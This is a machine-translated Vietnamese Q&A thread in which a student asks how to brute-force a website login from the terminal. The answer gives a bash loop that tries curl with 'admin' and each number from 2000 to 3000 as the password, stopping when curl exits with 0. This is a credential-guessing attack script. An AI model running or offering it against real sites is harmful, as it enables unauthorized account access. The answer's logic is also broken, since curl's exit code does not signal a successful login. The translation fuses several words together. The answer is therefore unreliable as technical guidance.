Làm thế nào tôi có thể đăng nhập vào một trang web từ thiết bị đầu cuối?


8

Là một sinh viên khoa học máy tính, bây giờ tôi đang học cách làm việc với dòng lệnh. Tôi cần sử dụng vũ lực để đăng nhập vào một trang web, biết tên người dùng và mật khẩu là một số nguyên trong một phạm vi nhất định. Đây là những gì tôi có cho đến nay nhưng nó dường như không hoạt động.

 for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done

Làm thế nào tôi có thể tiến hành?

Câu trả lời:


6

Những gì thói quen của bạn đang thiếu là một số cách để thoát khi itìm thấy chính xác . Cho rằng bạn có thể nhìn vào mã thoát được trả lại từ curl:

for i in {2000..3000}
do 
  curl http://admin:$i@mywebsite.com/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

Giá trị thoát curllà 0 khi mọi thứ đều chính xác và có thể được kiểm tra trực tiếp sau khi chương trình dừng bằng cách kiểm tra biến đặc biệt $?. Sử dụng man curlvà tìm kiếm EXIT CODEđể xem tất cả những thứ khác nhau curlcó thể cho bạn biết mã thoát của nó.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.